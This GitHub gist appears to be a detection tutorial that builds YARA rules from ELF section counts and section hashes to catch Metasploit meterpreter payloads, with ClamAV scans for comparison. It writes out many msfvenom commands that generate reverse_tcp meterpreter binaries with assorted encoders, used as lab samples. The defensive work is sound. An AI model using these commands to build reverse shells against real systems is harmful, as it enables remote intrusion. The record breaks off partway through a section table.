Skip to content

Instantly share code, notes, and snippets.

@dmknght
Last active September 29, 2021 01:36
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dmknght/d1767e8e5629d98aef5bd0b2efc434b7 to your computer and use it in GitHub Desktop.
Save dmknght/d1767e8e5629d98aef5bd0b2efc434b7 to your computer and use it in GitHub Desktop.
Defeat metasploit's binaries with yara and section scan

I. Tool used

II. Must know

1. Staged and stageless payloads

https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/

2. Yara modules

3. Yara rules

4. Malware detection

5. ClamAV signature format

https://docs.clamav.net/manual/Signatures/HashSignatures.html

6. Scope

  • Scan binaries (ELF, PE files) generated by metasploit-framework with / without encoders
  • Use only static scan. No shellcode / buffer detection.
  • No packing / obfuscation
  • Yara rules are able to detect as many payloads as possible in easiest way

III. Analysis ELF samples

1. Create stageless payloads with or without encoders

** Note **

  • Use msfvenom --list encoders to show list of encoder
  • linux/x64/meterpreter/reverse_tcp is stageless payload and linux/x64/meterpreter_reverse_tcp is staged payload. Same syntax for Windows binaries

First, we generate ELF file with and without encoders

  • msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run1 -> No encoder
  • msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run2 -e x86/alpha_mixed -k 10
  • msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run3 -e x64/xor_dynamic -k 30
  • msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run4 -e x86/shikata_ga_nai
  • msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run5 -e x86/unicode_mixed
  • msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run6 -e x86/xor_dynamic -k 13

Test scan result with ClamAV

Remember to update signature db with sudo freshclam Scan result (I skipped the SCAN SUMMARY part)

$clamscan .
/tmp/msf_stageless/run1: OK
/tmp/msf_stageless/run2: OK
/tmp/msf_stageless/run3: OK
/tmp/msf_stageless/run4: Win.Trojan.MSShellcode-6360729-0 FOUND
/tmp/msf_stageless/run5: Win.Exploit.Unicode_Mixed-1 FOUND
/tmp/msf_stageless/run6: OK

To understand signatures of ClamAV and how it detects / didn't detect the samples, we can show database:

$sigtool --find-sigs="Win.Trojan.MSShellcode-6360729-0"
[daily.ldb] Win.Trojan.MSShellcode-6360729-0;Engine:81-255,Target:0;1;d97424f4(5?|b?);0/\xd9\x74\x24\xf4[\x50-\x5f\xb0-\xbf].{0,20}[\x29\x2b\x31\x33].{0,500}\xc9\xb1.{0,8}\x31.[\x10-\x1f\x0f][\x03\x13\x23\x33\x43\x53\x63\x73\x83\x93\xa3\xb3\xc3\xd3\xe3\xf3]/s
$sigtool --find-sigs="Win.Exploit.Unicode_Mixed-1"
[main.ndb] Win.Exploit.Unicode_Mixed-1:0:*:6a5841514144415a41424152414c41594149415141494151414941684141415a3141494149414a31314149414941424142414251493141495149414951493131314149414a5159415a4241424142414241426b4d4147423975344a42

=> Those are string based detection. Beside the platform is wrong, we can see there are 4/6 samples are not detected. Let's analysis sections of ELF files Try with run1 (no encoder)

$rz-bin -iS run1
[Sections]

nth paddr  size vaddr  vsize perm name type flags
―――――――――――――――――――――――――――――――――――――――――――――――――

[Imports]
nth vaddr bind type lib name
――――――――――――――――――――――――――――

=> No sections is found Try with run2 (alpha mixed)

$rz-bin -iS run2
[Sections]

nth paddr  size vaddr  vsize perm name type flags
―――――――――――――――――――――――――――――――――――――――――――――――――

[Imports]
nth vaddr bind type lib name
――――――――――――――――――――――――――――

=> No sections is found The same result is showed for other ELF files. I'm skipping all other same results here. We can write yara rules for this detection. We are having some conditions:

  1. Files must be ELF binaries. For now yara doesn't have is_elf in ELF module while PE module has is_pe. So we use uint32(0) == 0x464c457f to check ELF header.
  2. Files have no sections. We use elf.number_of_sections == 0.
  3. All staged files are so small. We can use condition filesize < 1KB. Please note that it might lead to true positives. Our first rule
import "elf"

rule Linux64_msf_stageless
{
  condition:
    uint32(0) == 0x464c457f and elf.number_of_sections == 0 and filesize < 1KB
}

I'm saving it as section_hash.yar. Test scan result

$yara section_hash.yar /tmp/msf_payloads 
Linux64_msf_stageless /tmp/msf_payloads/run6
Linux64_msf_stageless /tmp/msf_payloads/run1
Linux64_msf_stageless /tmp/msf_payloads/run5
Linux64_msf_stageless /tmp/msf_payloads/run2
Linux64_msf_stageless /tmp/msf_payloads/run4
Linux64_msf_stageless /tmp/msf_payloads/run3

The result is great. How about x86 payloads? Let try these commands

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run1_x86
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run2_x86 -e x86/alpha_mixed -k 22
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run3_x86 -e x86/xor_dynamic -k 14
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run4_x86 -e x86/shikata_ga_nai -k 33
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run5_x86 -e x86/unicode_mixed -k 11
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run6_x86 -e x86/xor_dynamic -k 13

Scan result with ClamAV

$clamscan .
/tmp/msf_payloads/run1: OK
/tmp/msf_payloads/run2: OK
/tmp/msf_payloads/run3: OK
/tmp/msf_payloads/run4: Win.Trojan.MSShellcode-6360729-0 FOUND
/tmp/msf_payloads/run5: Win.Exploit.Unicode_Mixed-1 FOUND
/tmp/msf_payloads/run6: OK
/tmp/msf_payloads/run1_x86: OK
/tmp/msf_payloads/run2_x86: OK
/tmp/msf_payloads/run3_x86: OK
/tmp/msf_payloads/run4_x86: Win.Trojan.MSShellcode-6360729-0 FOUND
/tmp/msf_payloads/run5_x86: Win.Exploit.Unicode_Mixed-1 FOUND
/tmp/msf_payloads/run6_x86: OK

Try it again with our same yara rule

$yara section_hash.yar /tmp/msf_payloads
Linux64_msf_stageless /tmp/msf_payloads/run1
Linux64_msf_stageless /tmp/msf_payloads/run2_x86
Linux64_msf_stageless /tmp/msf_payloads/run6_x86
Linux64_msf_stageless /tmp/msf_payloads/run3
Linux64_msf_stageless /tmp/msf_payloads/run1_x86
Linux64_msf_stageless /tmp/msf_payloads/run2
Linux64_msf_stageless /tmp/msf_payloads/run4_x86
Linux64_msf_stageless /tmp/msf_payloads/run5
Linux64_msf_stageless /tmp/msf_payloads/run5_x86
Linux64_msf_stageless /tmp/msf_payloads/run3_x86
Linux64_msf_stageless /tmp/msf_payloads/run4
Linux64_msf_stageless /tmp/msf_payloads/run6

The result is absolutely perfect - Tobi Wan 2019.

Staged payloads

Commands to generate staged x86 payloads

msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run11_x86
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run12_x86 -e x86/alpha_mixed -k 24
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run13_x86 -e x86/xor_dynamic -k 12
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run14_x86 -e x86/shikata_ga_nai -k 55
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run15_x86 -e x86/unicode_mixed -k 66
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run16_x86 -e x86/xor_dynamic -k 23

Command to generate staggeed x64 payloads

msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run11_x64
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run12_x64 -e x64/alpha_mixed -k 9
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run13_x64 -e x64/xor_dynamic -k 11
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run14_x64 -e x64/shikata_ga_nai -k 23
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run15_x64 -e x64/unicode_mixed -k 41
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.0.105 lport=8888 -f elf -o run16_x64 -e x64/xor_dynamic -k 23

Test with ClamAV

Because now we are having so many payloads so i'm using -i flag for clamAV to show only infected files

$clamscan . -i
/tmp/msf_payloads/run4: Win.Trojan.MSShellcode-6360729-0 FOUND
/tmp/msf_payloads/run5: Win.Exploit.Unicode_Mixed-1 FOUND
/tmp/msf_payloads/run4_x86: Win.Trojan.MSShellcode-6360729-0 FOUND
/tmp/msf_payloads/run5_x86: Win.Exploit.Unicode_Mixed-1 FOUND
/tmp/msf_payloads/run15_x86: Win.Exploit.Unicode_Mixed-1 FOUND

5/24 files are infected.

Analysis our new payloads.

The file11_x86 which is staged payload and has no encoders

$rz-bin -iS run11_x86
[Sections]

nth paddr          size vaddr         vsize perm name           type     flags
――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000000      0x0 0x00000000      0x0 ----                NULL     
1   0x000000f4     0x98 0x000000f4     0x98 -r-- .hash          HASH     alloc
2   0x0000018c    0x130 0x0000018c    0x130 -r-- .dynsym        DYNSYM   alloc
3   0x000002bc     0xfa 0x000002bc     0xfa -r-- .dynstr        STRTAB   alloc
4   0x000003b8   0x2668 0x000003b8   0x2668 -r-- .rel.dyn       REL      alloc
5   0x00002a20     0x11 0x00002a20     0x11 -r-x .init          PROGBITS alloc,execute
6   0x00002a40     0x30 0x00002a40     0x30 -r-x .plt           PROGBITS alloc,execute
7   0x00002a70  0xa53e1 0x00002a70  0xa53e1 -r-x .text          PROGBITS alloc,execute
8   0x000a7e51      0xc 0x000a7e51      0xc -r-x .fini          PROGBITS alloc,execute
9   0x000a7e60  0x13600 0x000a7e60  0x13600 -r-- .rodata        PROGBITS alloc
10  0x000bb460  0x243c0 0x000bb460  0x243c0 -r-- .eh_frame      PROGBITS alloc
11  0x000e0330      0x0 0x000e1330      0x4 -rw- .tbss          NOBITS   write,alloc,TLS
12  0x000e0330      0x8 0x000e1330      0x8 -rw- .ctors         PROGBITS write,alloc
13  0x000e0338      0x8 0x000e1338      0x8 -rw- .dtors         PROGBITS write,alloc
14  0x000e0340   0x1bb8 0x000e1340   0x1bb8 -rw- .data.rel.ro   PROGBITS write,alloc
15  0x000e1ef8     0xa0 0x000e2ef8     0xa0 -rw- .dynamic       DYNAMIC  write,alloc
16  0x000e1f98     0x4c 0x000e2f98     0x4c -rw- .got           PROGBITS write,alloc
17  0x000e2000     0x14 0x000e3000     0x14 -rw- .got.plt       PROGBITS write,alloc
18  0x000e2020    0xd00 0x000e3020    0xd00 -rw- .data          PROGBITS write,alloc
19  0x000e2d20      0x0 0x000e3d20   0xca14 -rw- .bss           NOBITS   write,alloc
20  0x000e2d20     0x11 0x00000000     0x11 ---- .comment       PROGBITS merge,strings
21  0x000e2d31     0xa0 0x00000000     0xa0 ---- .debug_aranges PROGBITS 
22  0x000e2dd1   0x36cd 0x00000000   0x36cd ---- .debug_info    PROGBITS 
23  0x000e649e    0xa36 0x00000000    0xa36 ---- .debug_abbrev  PROGBITS 
24  0x000e6ed4    0xb19 0x00000000    0xb19 ---- .debug_line    PROGBITS 
25  0x000e79ed    0xae8 0x00000000    0xae8 ---- .debug_str     PROGBITS merge,strings
26  0x000e84d5   0x1914 0x00000000   0x1914 ---- .debug_loc     PROGBITS 
27  0x000e9de9     0xc8 0x00000000     0xc8 ---- .debug_ranges  PROGBITS 
28  0x0010db4d    0x103 0x00000000    0x103 ---- .shstrtab      STRTAB   
29  0x000e9eb4  0x13b30 0x00000000  0x13b30 ---- .symtab        SYMTAB   
30  0x000fd9e4  0x10169 0x00000000  0x10169 ---- .strtab        STRTAB   

[Imports]
nth vaddr bind type lib name
――――――――――――――――――――――――――――

Funny thing, payload run12_x86 to run16_x86 has no sections (skipped same results for run13_x86 to run16_x86)

$rz-bin -iS run12_x86
[Sections]

nth paddr  size vaddr  vsize perm name type flags
―――――――――――――――――――――――――――――――――――――――――――――――――

[Imports]
nth vaddr bind type lib name
――――――――――――――――――――――――――――

In previous rule, we are having filesize < 1KB to define the stageless payloads. However, the file size of staged is different (and also so big). Let show it (my ls is alias of ls -la)

$ls | grep x86
-rw-r--r-- 1 dmknght dmknght  1.1M Aug 17 08:24 run11_x86
-rw-r--r-- 1 dmknght dmknght  2.2M Aug 17 08:25 run12_x86
-rw-r--r-- 1 dmknght dmknght  1.1M Aug 17 08:25 run13_x86
-rw-r--r-- 1 dmknght dmknght  1.1M Aug 17 08:25 run14_x86
-rw-r--r-- 1 dmknght dmknght  2.2M Aug 17 08:26 run15_x86
-rw-r--r-- 1 dmknght dmknght  1.1M Aug 17 08:26 run16_x86

Thinking

  1. The filesize in rule is the condition that didn't detect staged x86
  2. Do we want to remove filesize to detect all of them? Is there any possible false positive? Or the no sections in ELF file is enough to say that file is malicious file? Let's edit the rule to this and try
import "elf"

rule Linux_msf_stageless
{
  condition:
    uint32(0) == 0x464c457f and elf.number_of_sections == 0
}

Change:

  1. Remove 64 in name of rule. It is not for x64 only
  2. Remove file size check Result with yara scan
$yara section_hash.yar /tmp/msf_payloads        
Linux_msf_stageless /tmp/msf_payloads/run3
Linux_msf_stageless /tmp/msf_payloads/run4
Linux_msf_stageless /tmp/msf_payloads/run6
Linux_msf_stageless /tmp/msf_payloads/run6_x86
Linux_msf_stageless /tmp/msf_payloads/run5
Linux_msf_stageless /tmp/msf_payloads/run3_x86
Linux_msf_stageless /tmp/msf_payloads/run4_x86
Linux_msf_stageless /tmp/msf_payloads/run5_x86
Linux_msf_stageless /tmp/msf_payloads/run2_x86
Linux_msf_stageless /tmp/msf_payloads/run1_x86
Linux_msf_stageless /tmp/msf_payloads/run1
Linux_msf_stageless /tmp/msf_payloads/run2
Linux_msf_stageless /tmp/msf_payloads/run14_x86
Linux_msf_stageless /tmp/msf_payloads/run13_x64
Linux_msf_stageless /tmp/msf_payloads/run13_x86
Linux_msf_stageless /tmp/msf_payloads/run16_x64
Linux_msf_stageless /tmp/msf_payloads/run16_x86
Linux_msf_stageless /tmp/msf_payloads/run12_x86
Linux_msf_stageless /tmp/msf_payloads/run15_x86

As expected, we don't see run11_x86 in the list. However we are seeing run16_x64 and run13_x64. Interesting! Because we are not having x86 payload to compare hashes of sections, let's do x64 first. But before we start, i want to mention that of 24 payloads we are having, this no sections rule detected 19 of them

$yara section_hash.yar /tmp/msf_payloads | wc -l
19

Let's check run11_x64

$rz-bin -iS run11_x64
[Sections]

nth paddr          size vaddr         vsize perm name           type     flags
――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000000      0x0 0x00000000      0x0 ----                NULL     
1   0x00000190     0x34 0x00000190     0x34 -r-- .hash          HASH     alloc
2   0x000001c8     0xc0 0x000001c8     0xc0 -r-- .dynsym        DYNSYM   alloc
3   0x00000288     0x60 0x00000288     0x60 -r-- .dynstr        STRTAB   alloc
4   0x000002e8   0x71d0 0x000002e8   0x71d0 -r-- .rela.dyn      RELA     alloc
5   0x000074b8      0xd 0x000074b8      0xd -r-x .init          PROGBITS alloc,execute
6   0x000074d0     0x10 0x000074d0     0x10 -r-x .plt           PROGBITS alloc,execute
7   0x000074e0     0x10 0x000074e0     0x10 -r-x .plt.got       PROGBITS alloc,execute
8   0x000074f0  0x98342 0x000074f0  0x98342 -r-x .text          PROGBITS alloc,execute
9   0x0009f832      0x8 0x0009f832      0x8 -r-x .fini          PROGBITS alloc,execute
10  0x0009f840  0x13840 0x0009f840  0x13840 -r-- .rodata        PROGBITS alloc
11  0x000b3080  0x1a4ec 0x000b3080  0x1a4ec -r-- .eh_frame      PROGBITS alloc
12  0x000cdb00      0x0 0x002cdb00      0x8 -rw- .tbss          NOBITS   write,alloc,TLS
13  0x000cdb00     0x10 0x002cdb00     0x10 -rw- .ctors         PROGBITS write,alloc
14  0x000cdb10     0x10 0x002cdb10     0x10 -rw- .dtors         PROGBITS write,alloc
15  0x000cdb20   0x3330 0x002cdb20   0x3330 -rw- .data.rel.ro   PROGBITS write,alloc
16  0x000d0e50    0x140 0x002d0e50    0x140 -rw- .dynamic       DYNAMIC  write,alloc
17  0x000d0f90     0x70 0x002d0f90     0x70 -rw- .got           PROGBITS write,alloc
18  0x000d1000     0x18 0x002d1000     0x18 -rw- .got.plt       PROGBITS write,alloc
19  0x000d1020   0x1010 0x002d1020   0x1010 -rw- .data          PROGBITS write,alloc
20  0x000d2030      0x0 0x002d2040   0xd770 -rw- .bss           NOBITS   write,alloc
21  0x000d2030     0x11 0x00000000     0x11 ---- .comment       PROGBITS merge,strings
22  0x000d2041     0x30 0x00000000     0x30 ---- .debug_aranges PROGBITS 
23  0x000d2071    0xb20 0x00000000    0xb20 ---- .debug_info    PROGBITS 
24  0x000d2b91    0x20c 0x00000000    0x20c ---- .debug_abbrev  PROGBITS 
25  0x000d2d9d    0x260 0x00000000    0x260 ---- .debug_line    PROGBITS 
26  0x000d2ffd    0xaf0 0x00000000    0xaf0 ---- .debug_str     PROGBITS merge,strings
27  0x000d3aed    0x784 0x00000000    0x784 ---- .debug_loc     PROGBITS 
28  0x000d4271     0xe0 0x00000000     0xe0 ---- .debug_ranges  PROGBITS 
29  0x000fcb11    0x108 0x00000000    0x108 ---- .shstrtab      STRTAB   
30  0x000d4358  0x18ed0 0x00000000  0x18ed0 ---- .symtab        SYMTAB   
31  0x000ed228   0xf8e9 0x00000000   0xf8e9 ---- .strtab        STRTAB   

[Imports]
nth vaddr bind type lib name
――――――――――――――――――――――――――――

Result for run12_x64

$rz-bin -iS run12_x64
[Sections]

nth paddr          size vaddr         vsize perm name           type     flags
――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000000      0x0 0x00000000      0x0 ----                NULL     
1   0x00000190     0x34 0x00000190     0x34 -r-- .hash          HASH     alloc
2   0x000001c8     0xc0 0x000001c8     0xc0 -r-- .dynsym        DYNSYM   alloc
3   0x00000288     0x60 0x00000288     0x60 -r-- .dynstr        STRTAB   alloc
4   0x000002e8   0x71d0 0x000002e8   0x71d0 -r-- .rela.dyn      RELA     alloc
5   0x000074b8      0xd 0x000074b8      0xd -r-x .init          PROGBITS alloc,execute
6   0x000074d0     0x10 0x000074d0     0x10 -r-x .plt           PROGBITS alloc,execute
7   0x000074e0     0x10 0x000074e0     0x10 -r-x .plt.got       PROGBITS alloc,execute
8   0x000074f0  0x98342 0x000074f0  0x98342 -r-x .text          PROGBITS alloc,execute
9   0x0009f832      0x8 0x0009f832      0x8 -r-x .fini          PROGBITS alloc,execute
10  0x0009f840  0x13840 0x0009f840  0x13840 -r-- .rodata        PROGBITS alloc
11  0x000b3080  0x1a4ec 0x000b3080  0x1a4ec -r-- .eh_frame      PROGBITS alloc
12  0x000cdb00      0x0 0x002cdb00      0x8 -rw- .tbss          NOBITS   write,alloc,TLS
13  0x000cdb00     0x10 0x002cdb00     0x10 -rw- .ctors         PROGBITS write,alloc
14  0x000cdb10     0x10 0x002cdb10     0x10 -rw- .dtors         PROGBITS write,alloc
15  0x000cdb20   0x3330 0x002cdb20   0x3330 -rw- .data.rel.ro   PROGBITS write,alloc
16  0x000d0e50    0x140 0x002d0e50    0x140 -rw- .dynamic       DYNAMIC  write,alloc
17  0x000d0f90     0x70 0x002d0f90     0x70 -rw- .got           PROGBITS write,alloc
18  0x000d1000     0x18 0x002d1000     0x18 -rw- .got.plt       PROGBITS write,alloc
19  0x000d1020   0x1010 0x002d1020   0x1010 -rw- .data          PROGBITS write,alloc
20  0x000d2030      0x0 0x002d2040   0xd770 -rw- .bss           NOBITS   write,alloc
21  0x000d2030     0x11 0x00000000     0x11 ---- .comment       PROGBITS merge,strings
22  0x000d2041     0x30 0x00000000     0x30 ---- .debug_aranges PROGBITS 
23  0x000d2071    0xb20 0x00000000    0xb20 ---- .debug_info    PROGBITS 
24  0x000d2b91    0x20c 0x00000000    0x20c ---- .debug_abbrev  PROGBITS 
25  0x000d2d9d    0x260 0x00000000    0x260 ---- .debug_line    PROGBITS 
26  0x000d2ffd    0xaf0 0x00000000    0xaf0 ---- .debug_str     PROGBITS merge,strings
27  0x000d3aed    0x784 0x00000000    0x784 ---- .debug_loc     PROGBITS 
28  0x000d4271     0xe0 0x00000000     0xe0 ---- .debug_ranges  PROGBITS 
29  0x000fcb11    0x108 0x00000000    0x108 ---- .shstrtab      STRTAB   
30  0x000d4358  0x18ed0 0x00000000  0x18ed0 ---- .symtab        SYMTAB   
31  0x000ed228   0xf8e9 0x00000000   0xf8e9 ---- .strtab        STRTAB   

[Imports]
nth vaddr bind type lib name
――――――――――――――――――――――――――――

Let's try generate hashes for sections of run11_x64

$rz-bin -S -K md5 run11_x64
[Sections]

nth paddr          size vaddr         vsize perm md5                              name           type     flags
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000000      0x0 0x00000000      0x0 ---- d41d8cd98f00b204e9800998ecf8427e                NULL     
1   0x00000190     0x34 0x00000190     0x34 -r-- ae5ec6045d40633fa743a5cf054de900 .hash          HASH     alloc
2   0x000001c8     0xc0 0x000001c8     0xc0 -r-- 844f0b70d8d3f9581ac3a3e9b1059f7d .dynsym        DYNSYM   alloc
3   0x00000288     0x60 0x00000288     0x60 -r-- a1b353957e330eaa457a4034cfe89bf7 .dynstr        STRTAB   alloc
4   0x000002e8   0x71d0 0x000002e8   0x71d0 -r-- ba395425b5bfc6e4886f0f61ac3783fb .rela.dyn      RELA     alloc
5   0x000074b8      0xd 0x000074b8      0xd -r-x 8c7aaf63e62d19e0911e9179a2917f34 .init          PROGBITS alloc,execute
6   0x000074d0     0x10 0x000074d0     0x10 -r-x cb3f65ae0002b3844e08c46cc5f5fc9d .plt           PROGBITS alloc,execute
7   0x000074e0     0x10 0x000074e0     0x10 -r-x 1f139cb38bd2db3199b6673a8fc2b0c5 .plt.got       PROGBITS alloc,execute
8   0x000074f0  0x98342 0x000074f0  0x98342 -r-x 6992f9f0bbc3f760533180a738e7b664 .text          PROGBITS alloc,execute
9   0x0009f832      0x8 0x0009f832      0x8 -r-x 4fa8576b04caabc0d229c35ee645d302 .fini          PROGBITS alloc,execute
10  0x0009f840  0x13840 0x0009f840  0x13840 -r-- 0c1ad86a53570cab307dbdcc65edd92e .rodata        PROGBITS alloc
11  0x000b3080  0x1a4ec 0x000b3080  0x1a4ec -r-- 19d25ed1a028b3475a5eb3aa66c7fb5a .eh_frame      PROGBITS alloc
12  0x000cdb00      0x0 0x002cdb00      0x8 -rw- d41d8cd98f00b204e9800998ecf8427e .tbss          NOBITS   write,alloc,TLS
13  0x000cdb00     0x10 0x002cdb00     0x10 -rw- f858d36231ba743ad8c898d86a67a864 .ctors         PROGBITS write,alloc
14  0x000cdb10     0x10 0x002cdb10     0x10 -rw- f858d36231ba743ad8c898d86a67a864 .dtors         PROGBITS write,alloc
15  0x000cdb20   0x3330 0x002cdb20   0x3330 -rw- fc27c3554169b6fe1736e66aaf0714aa .data.rel.ro   PROGBITS write,alloc
16  0x000d0e50    0x140 0x002d0e50    0x140 -rw- 44703e79d3abe893f123df4805f802b6 .dynamic       DYNAMIC  write,alloc
17  0x000d0f90     0x70 0x002d0f90     0x70 -rw- e4b929ddf1f7f11e16b52cd19683e98f .got           PROGBITS write,alloc
18  0x000d1000     0x18 0x002d1000     0x18 -rw- 45c74f0559db0a95c2b5055a912aa512 .got.plt       PROGBITS write,alloc
19  0x000d1020   0x1010 0x002d1020   0x1010 -rw- 71ff565613012f28d20bf16b4491ac21 .data          PROGBITS write,alloc
20  0x000d2030      0x0 0x002d2040   0xd770 -rw- d41d8cd98f00b204e9800998ecf8427e .bss           NOBITS   write,alloc
21  0x000d2030     0x11 0x00000000     0x11 ---- fbeb0b6fd7a7f78a880f68c413893f36 .comment       PROGBITS merge,strings
22  0x000d2041     0x30 0x00000000     0x30 ---- 678e5d97495316461e8f618cd6662693 .debug_aranges PROGBITS 
23  0x000d2071    0xb20 0x00000000    0xb20 ---- eb66f45ebf4b2e8279d532bbda97cf60 .debug_info    PROGBITS 
24  0x000d2b91    0x20c 0x00000000    0x20c ---- 2c89451eea27695d3455a315b576d636 .debug_abbrev  PROGBITS 
25  0x000d2d9d    0x260 0x00000000    0x260 ---- 1abf525984cc88cfa04a2cb30a8f37e3 .debug_line    PROGBITS 
26  0x000d2ffd    0xaf0 0x00000000    0xaf0 ---- d21517559228b6e462c21c6a784c26cb .debug_str     PROGBITS merge,strings
27  0x000d3aed    0x784 0x00000000    0x784 ---- 6cc0d0f8cc0d93c73669d54a5c9ce0cf .debug_loc     PROGBITS 
28  0x000d4271     0xe0 0x00000000     0xe0 ---- 3d7615e69efbfa8bcb8d0d4b4b52c4ca .debug_ranges  PROGBITS 
29  0x000fcb11    0x108 0x00000000    0x108 ---- bd79ca18def6a07331be572fbd295a89 .shstrtab      STRTAB   
30  0x000d4358  0x18ed0 0x00000000  0x18ed0 ---- a722d91bd41d113a648af10bd05051e6 .symtab        SYMTAB   
31  0x000ed228   0xf8e9 0x00000000   0xf8e9 ---- 71eaba2435a2c77b8fcb884f63494903 .strtab        STRTAB   

To compare hashes of this file and other files, i'd like to save hashes to files and use diff to compare. As mentioned above, we skip run13_x64 and run16_x64 because 2 files have no sections.

$rz-bin -S -K md5 run11_x64 > hash1
$rz-bin -S -K md5 run12_x64 > hash2
$rz-bin -S -K md5 run14_x64 > hash4
$rz-bin -S -K md5 run15_x64 > hash5

Compare hashes in 4 files, we have

$diff --from-file hash1 hash2 hash4 hash5
24c24
< 19  0x000d1020   0x1010 0x002d1020   0x1010 -rw- 71ff565613012f28d20bf16b4491ac21 .data          PROGBITS write,alloc
---
> 19  0x000d1020   0x1010 0x002d1020   0x1010 -rw- 98d3a07b6190802ea29c079d4e7f5394 .data          PROGBITS write,alloc
24c24
< 19  0x000d1020   0x1010 0x002d1020   0x1010 -rw- 71ff565613012f28d20bf16b4491ac21 .data          PROGBITS write,alloc
---
> 19  0x000d1020   0x1010 0x002d1020   0x1010 -rw- 6d370ad24334568fb654677f965a2b1f .data          PROGBITS write,alloc
24c24
< 19  0x000d1020   0x1010 0x002d1020   0x1010 -rw- 71ff565613012f28d20bf16b4491ac21 .data          PROGBITS write,alloc
---
> 19  0x000d1020   0x1010 0x002d1020   0x1010 -rw- a90394f7fb4a6fcb0fd6d75d3d0b78b2 .data          PROGBITS write,alloc

So only section .data is different. It means we can use hash of any sections for the rules. In this example, I'll use md5 hash of .debug_info which is eb66f45ebf4b2e8279d532bbda97cf60. The id of this section is 23. We can create yara rule

rule Linux64_msf_staged
{
  condition:
    uint32(0) == 0x464c457f and elf.number_of_sections == 32 and hash.md5(elf.sections[23].offset, elf.sections[23].size) == "eb66f45ebf4b2e8279d532bbda97cf60"
}

Don't forget import the hash module import "hash". The current rule should look like this

import "elf"
import "hash"

rule Linux_msf_stageless
{
  condition:
    uint32(0) == 0x464c457f and elf.number_of_sections == 0
}

rule Linux64_msf_staged
{
  condition:
    uint32(0) == 0x464c457f and elf.number_of_sections == 32 and hash.md5(elf.sections[23].offset, elf.sections[23].size) == "eb66f45ebf4b2e8279d532bbda97cf60"
}

Try scan again

$yara section_hash.yar /tmp/msf_payloads           
Linux_msf_stageless /tmp/msf_payloads/run1
Linux_msf_stageless /tmp/msf_payloads/run2
Linux_msf_stageless /tmp/msf_payloads/run1_x86
Linux_msf_stageless /tmp/msf_payloads/run4
Linux_msf_stageless /tmp/msf_payloads/run6_x86
Linux_msf_stageless /tmp/msf_payloads/run4_x86
Linux_msf_stageless /tmp/msf_payloads/run3
Linux_msf_stageless /tmp/msf_payloads/run5
Linux_msf_stageless /tmp/msf_payloads/run2_x86
Linux_msf_stageless /tmp/msf_payloads/run5_x86
Linux_msf_stageless /tmp/msf_payloads/run3_x86
Linux_msf_stageless /tmp/msf_payloads/run6
Linux_msf_stageless /tmp/msf_payloads/run13_x64
Linux_msf_stageless /tmp/msf_payloads/run16_x64
Linux_msf_stageless /tmp/msf_payloads/run13_x86
Linux_msf_stageless /tmp/msf_payloads/run16_x86
Linux_msf_stageless /tmp/msf_payloads/run14_x86
Linux_msf_stageless /tmp/msf_payloads/run12_x86
Linux_msf_stageless /tmp/msf_payloads/run15_x86
Linux64_msf_staged /tmp/msf_payloads/run12_x64
Linux64_msf_staged /tmp/msf_payloads/run11_x64
Linux64_msf_staged /tmp/msf_payloads/run15_x64
Linux64_msf_staged /tmp/msf_payloads/run14_x64

We are able to detect 23 of 24 samples

$yara section_hash.yar /tmp/msf_payloads | wc -l
23

Now let's get back the run11_x86 again with section hashes

$rz-bin -S -K md5 run11_x86
[Sections]

nth paddr          size vaddr         vsize perm md5                              name           type     flags
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000000      0x0 0x00000000      0x0 ---- d41d8cd98f00b204e9800998ecf8427e                NULL     
1   0x000000f4     0x98 0x000000f4     0x98 -r-- b1499ae9ffe98fc8d1a117152cd6c8dd .hash          HASH     alloc
